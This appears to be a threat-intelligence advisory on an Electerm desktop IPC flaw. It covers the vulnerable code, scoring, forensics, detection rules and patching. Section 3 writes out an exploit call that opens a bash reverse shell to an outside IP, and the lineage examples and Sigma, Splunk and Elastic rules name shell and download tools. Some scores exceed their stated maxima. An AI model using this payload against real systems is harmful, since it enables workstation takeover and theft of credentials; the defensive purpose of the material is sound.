CVE-2026-86711: Electerm Desktop runGlobalAsync Electron IPC Handler Arbitrary Command Execution

HERMES

HERMES THREAT SCORE & DEVELOPER WORKSTATION TAKEOVER

Target: Electerm Desktop Application — Electron IPC Bridge (runGlobalAsync) & Main Process

Confidence: 96%

88 / 100

HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 18 / 20

Threat Activity 17 / 20

Weaponization 18 / 20

Exposure 17 / 20

Prevalence 17 / 20

Impact 19 / 20

Exploit Maturity 18 / 20

Attack Chain Potential 19 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-86711 as 7.5 High due to required user interaction (connecting to an attacker-controlled SSH server, viewing a poisoned log file, or importing an untrusted connection configuration). Hermes Threat Score elevates this finding to 88 (HIGH). Electerm is heavily adopted by systems engineers, cloud architects, and devops personnel. Compromising a developer's workstation gives adversaries direct access to unencrypted SSH private keys (`~/.ssh/id_rsa`), active cloud bastion sessions (AWS, GCP, Azure), local Kubernetes kubeconfigs, and corporate VPN access, transforming a client-side escape into catastrophic lateral enterprise compromise.

HASS

HASS AGENTIC SEVERITY & DESKTOP TOOLING ESCAPE

Target: Renderer-to-Main IPC Channel, Host Execution Boundaries & Developer Tooling

Confidence: 93%

79 / 100

HIGH

Measures specific systemic risk arising from autonomy, tool authority, and cascading execution.

Dimension Breakdown

Autonomy 14 / 20

Tool Access 17 / 20

Privilege 16 / 15

Persistence 15 / 15

External Impact 17 / 15

Propagation 16 / 15

⚖️ Divergence & Operational Rationale

In modern automated operations, local AI agent assistants and terminal automation tools interface directly with desktop terminal emulators. When desktop tooling leaves generic, unvalidated IPC bridges exposed between the untrusted renderer context (handling terminal escape sequences, ANSI streams, and markdown notes) and the privileged main process, the execution boundary collapses entirely. Malicious terminal output generated by untrusted servers or poisoned AI prompt responses directly drives host operating system command execution.

Electerm is an open-source, multi-platform terminal, SSH, SFTP, Telnet, and Serial client built on the Electron framework. Widely utilized across devops and system administration teams, Electerm features session management, synchronized settings, and integrated terminal multiplexing.

CVE-2026-86711 identifies a severe security flaw in Electerm’s Inter-Process Communication (IPC) architecture. Prior to version 5.3.15, Electerm implemented a generic runGlobalAsync IPC bridge that exposed more than 40 internal main-process functions directly to renderer scripts without enforcing a function allowlist or verifying the sender frame. When an attacker triggers renderer-side script execution—via malicious ANSI terminal escape sequences displayed from a rogue SSH server, cross-site scripting in connection notes, or opening a malicious session export—they can invoke sensitive main-process methods like openFileWithEditor to spawn arbitrary operating system commands, completely bypassing the Electron sandbox.

1. Technical Context & Attack Surface

Electron applications operate across two distinct privileges: an untrusted, web-facing Renderer Process (which renders HTML, CSS, and terminal canvas elements) and a privileged Main Process (which interacts directly with the operating system kernel, filesystem, and native APIs).

┌────────────────────────────────────────────────────────────────────────┐
│                        ELECTERM DESKTOP APPLICATION                    │
├────────────────────────────────────────────────────────────────────────┤
│ RENDERER PROCESS (Chromium Sandbox)                                    │
│                                                                        │
│ [Untrusted Terminal Stream / Rogue SSH Banner / Poisoned Session Note] │
│   │                                                                    │
│   ▼                                                                    │
│ [Renderer Script Injection / Terminal Control Escapes]                 │
│   │                                                                    │
│   ▼                                                                    │
│ window.pre.runGlobalAsync('openFileWithEditor', [payloadArgs])         │
│   │                                                                    │
├───┼────────────────────────────────────────────────────────────────────┤
│   │ IPC BRIDGE (ipcRenderer.invoke / ipcMain.handle)                   │
│   │  [X] NO FUNCTION NAME ALLOWLIST                                    │
│   │  [X] NO SENDER FRAME VALIDATION                                    │
│   ▼                                                                    │
│ MAIN PROCESS (Node.js Environment - Full User Desktop Privileges)      │
│                                                                        │
│ globalAppFunctions['openFileWithEditor'](payloadArgs)                  │
│   │                                                                    │
│   ▼                                                                    │
│ child_process.spawn(targetEditor, [maliciousFile, ...injectedFlags])   │
│   │                                                                    │
│   ▼                                                                    │
│ [HOST SHELL EXECUTION: Reverse shell as logged-in desktop developer]   │
└────────────────────────────────────────────────────────────────────────┘

Parameter	Technical Detail	Operational Impact
CVE Identifier	`CVE-2026-86711`	GitHub Advisory GHSA-qc8j-6jr2-qr32 / VulnCheck Advisory
Vulnerability Class	Exposed Dangerous Method (`CWE-749`), Improper Input Validation (`CWE-20`)	Renderer-to-Main Arbitrary Command Execution
Vulnerable Component	`electron/ipc.js` & `src/client/common/ipc.js` (`runGlobalAsync` handler)	Core desktop IPC communication architecture
Trigger Vectors	Rogue SSH server terminal output, imported `.json` session profile, XSS note	User opens connection or views logs in Electerm
Authentication Required	None (`PR:N`) against the client; requires user interaction (`UI:R`)	Client-side developer workstation takeover
Impact	Arbitrary OS command execution, SSH key exfiltration, cloud token compromise	Host compromise with interactive developer user privileges
Affected Versions	`< 5.3.15`	All Electerm desktop builds across Linux, macOS, Windows
Remediated Release	Electerm `5.3.15`	Official GitHub release & package managers

2. Root Cause Analysis & Exploit Mechanics

The vulnerability stems from the implementation of an overly permissive dynamic dispatch handler in the Electron main process.

Flaw 1: The Generic `runGlobalAsync` Dispatcher

To simplify inter-process communication between UI views and backend operations, Electerm registered a single generic IPC handler named runGlobalAsync in electron/ipc.js:

// Vulnerable IPC handler in Electerm prior to 5.3.15
ipcMain.handle('runGlobalAsync', async (event, { func, args = [] }) => {
    // FLAW: No function-name allowlist, no check on sender frame origin
    if (typeof globalFuncs[func] === 'function') {
        return await globalFuncs[func](...args);
    }
    throw new Error(`Function ${func} not found`);
});

Because globalFuncs mapped directly to an object containing over 40 internal functions—including file openers, session handlers, terminal initiators, and update routines—any renderer context could trigger any function simply by passing its name as a string.

Flaw 2: The `openFileWithEditor` Command Injection Sink

Among the exposed functions, openFileWithEditor was designed to open configuration or log files using the user’s preferred text editor. Its internal implementation passed arguments directly to child_process.exec or child_process.spawn without path sanitization:

// Implementation of openFileWithEditor in the main process
function openFileWithEditor(filePath, editorPath = '') {
    const editor = editorPath || defaultEditor;
    // When editorPath is supplied by the caller, it is executed directly
    const cmd = `"${editor}" "${filePath}"`;
    return child_process.exec(cmd);
}

By dispatching an IPC call with func: "openFileWithEditor", an attacker in control of the renderer could supply an arbitrary binary executable as editorPath (e.g., /bin/bash, curl, or powershell.exe) and arbitrary command arguments as filePath, executing arbitrary OS commands in the host context.

3. Exploit Execution Flow

The full weaponization chain is triggered when a developer connects to a hostile server or opens a malicious file:

Initial Vector (Terminal Stream or Session Import): The developer connects to an attacker-controlled SSH server, or imports a shared server connection profile (sessions.json).
Renderer-Side Code Injection: The rogue server sends an escape sequence payload or crafted connection note that exploits a DOM-based parsing inconsistency in the terminal window, executing JavaScript inside the Electerm renderer context.

IPC Dispatch: The injected script invokes the exposed bridge:

window.pre.runGlobalAsync({
    func: "openFileWithEditor",
    args: [
        "-c 'bash -i >& /dev/tcp/10.10.14.25/4444 0>&1'",
        "/bin/bash"
    ]
});

Main Process Invocation: The main process receives the IPC message over runGlobalAsync. Because no allowlist exists, it dynamically locates openFileWithEditor in globalFuncs.
Execution in Privileged Context: The main process executes /bin/bash -c "bash -i >& /dev/tcp/10.10.14.25/4444 0>&1".
Workstation Takeover: An interactive reverse shell connects back to the adversary. The attacker immediately accesses ~/.ssh/, ~/.aws/credentials, and browser cookie vaults.

4. Forensic Investigation & Telemetry

Investigating CVE-2026-86711 requires examining process execution lineages originating from the Electerm executable and auditing local session databases.

Host Artifacts & Process Lineage

Process Lineage Analysis: In standard operation, electerm spawns terminal backend helpers (such as node-pty worker threads). Under no circumstances should the parent process electerm or electerm.exe directly spawn shell binaries with network redirection arguments.
- Linux / macOS:
```
electerm (PID 5410) -> /bin/bash -c "bash -i >& /dev/tcp/..." (PID 7821)
```
- Windows:
```
electerm.exe (PID 6120) -> cmd.exe /c powershell -enc ... (PID 8832)
```
Consult our dedicated guide: Windows Process Lineage Analysis and Windows Event 4688 Process Creation Tracking.
Session Configuration Inspection: Examine ~/.config/electerm/electerm-sessions.json or %APPDATA%\electerm\electerm-sessions.json for newly imported bookmark profiles with anomalous embedded script tags, carriage returns, or binary execution paths.

Network & Persistence Telemetry

Outbound Connections: Inspect endpoint telemetry for network connections initiated directly by child shells of electerm to untrusted external IP addresses.
SSH Key Access: Check file access auditing on ~/.ssh/id_rsa, ~/.ssh/id_ed25519, and ~/.ssh/known_hosts immediately following an Electerm process launch. Review our forensic reference: Linux SSH Artifacts & Host Forensics.

title: Suspicious Child Process Spawned by Electerm Desktop Client
id: d9218671-8671-4a92-8012-86711cve2026
status: experimental
description: Detects suspicious interactive shells or network utilities spawned by Electerm, indicating exploitation of CVE-2026-86711.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-86711
    - https://github.com/electerm/electerm/security/advisories/GHSA-qc8j-6jr2-qr32
author: Hermes Codex Cyber Threat Intelligence
date: 2026-09-21
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\electerm.exe'
            - '\electerm'
    selection_child:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\bash.exe'
            - '\wscript.exe'
            - '\cscript.exe'
    selection_suspicious_args:
        CommandLine|contains:
            - ' -i '
            - '>&'
            - 'DownloadString'
            - 'bypass'
            - 'curl'
            - 'wget'
    condition: selection_parent and selection_child and selection_suspicious_args
falsepositives:
    - Legitimate local terminal sessions spawned through standard user action (distinguished by arguments and interactive TTY flags)
level: high
tags:
    - attack.execution
    - attack.t1059
    - cve.2026-86711

-- Splunk: Hunt for Electerm executing child shell processes with anomalous command lines
index=endpoint (process_name="electerm.exe" OR process_name="electerm")
| join type=inner parent_process_id [
    search index=endpoint process_name IN ("cmd.exe", "powershell.exe", "bash", "sh", "curl", "wget")
    | rename process_id as child_pid, process_name as child_process, command_line as child_cmd
]
| table _time, host, user, process_name, child_process, child_cmd

-- Elasticsearch: Detect Electerm spawning LOLBAS utilities
process.parent.name:("electerm.exe" OR "electerm") AND process.name:("powershell.exe" OR "cmd.exe" OR "curl.exe" OR "certutil.exe" OR "bash")

6. Mitigation & Hardening

Immediate Remediation

Update Electerm: Upgrade to Electerm version 5.3.15 or later immediately. Version 5.3.15 eliminates dynamic IPC dispatching, introduces a rigid allowlist of permitted actions, validates parameter schemas with Zod, and verifies sender frame origins before processing messages.
Isolate Untrusted Connections: If connecting to unknown or public SSH honeypots or untrusted VPS instances, avoid using desktop terminal clients. Utilize isolated disposable VMs or terminal emulators without web renderer integrations.

Architectural Hardening

EDR & Process Monitoring: Implement EDR behavioral blocking rules that deny desktop productivity tools and terminal emulators from spawning outbound network-connected interactive shells. Refer to our research on: LOLBAS Reconnaissance & Execution Defense.
Protect Developer Secrets: Enforce hardware-backed SSH keys (FIDO2 / YubiKey tokens) with user touch confirmation (ssh-keygen -t ed25519-sk) so that a compromised workstation cannot silently exfiltrate private keys.

7. Strategic Cross-References & Internal Links

AnythingLLM Desktop Streaming Markdown XSS to Electron RCE (CVE-2026-32626) Comparative analysis of renderer-to-main IPC escapes and desktop sandboxing bypasses.

Windows Process Lineage Analysis Deterministic forensic detection of abnormal process spawning from desktop applications.

Windows Named Pipes & IPC Forensics In-depth analysis of desktop inter-process communication mechanisms and malicious hijacking.

Linux SSH Artifacts & Session Hunting Investigating compromised developer credentials, authorized_keys modifications, and rogue SSH sessions.

SOURCES

GitHub Security Advisory: GHSA-qc8j-6jr2-qr32
VulnCheck Advisory: Electerm runGlobalAsync IPC Bridge Escape
NIST National Vulnerability Database: CVE-2026-86711 Detail
Electerm Release Notes: v5.3.15 Changelog